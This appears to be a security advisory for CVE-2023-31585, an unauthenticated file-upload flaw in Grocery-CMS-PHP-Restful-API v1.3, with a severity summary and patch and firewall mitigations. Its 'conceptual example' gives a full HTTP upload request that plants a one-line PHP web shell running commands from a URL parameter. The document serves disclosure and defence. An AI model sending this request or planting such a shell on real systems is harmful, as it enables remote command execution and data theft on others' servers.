Overview
The Common Vulnerabilities and Exposures (CVE) system has recently disclosed a severe vulnerability identified as CVE-2023-31585. This vulnerability has been found in Grocery-CMS-PHP-Restful-API version 1.3, a widely used application in the e-commerce sector. The vulnerability allows perpetrators to upload unauthorized files via the /admin/add-category.php endpoint, potentially leading to system compromise or data leakage. Given the severity of this vulnerability, recognized with a CVSS score of 9.8, it’s crucial for users and administrators of Grocery-CMS-PHP-Restful-API v1.3 to understand the risks associated and take appropriate mitigation measures.
Vulnerability Summary
CVE ID: CVE-2023-31585
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System Compromise and Data Leakage
Affected Products
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Product | Affected Versions
Grocery-CMS-PHP-Restful-API | v1.3
How the Exploit Works
The vulnerability stems from an inadequate security control on the /admin/add-category.php endpoint. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request to this endpoint. The server, failing to validate or sanitize the file being uploaded, accepts the file and stores it in the server’s file system. This allows the attacker to upload a malicious file, such as a webshell or a PHP script, which can lead to unauthorized system access or data exfiltration.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability:
POST /admin/add-category.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/php
<?php
system($_GET['cmd']);
?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker is attempting to upload a PHP file named `exploit.php`. This malicious file, once uploaded, could be used to execute arbitrary system commands.
Mitigation
Users are strongly recommended to apply the vendor-released patch to mitigate this vulnerability. As a temporary measure, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could be used to block or monitor suspicious file uploads. However, these are not ultimate solutions, and the patch should be applied as soon as possible to prevent potential exploits.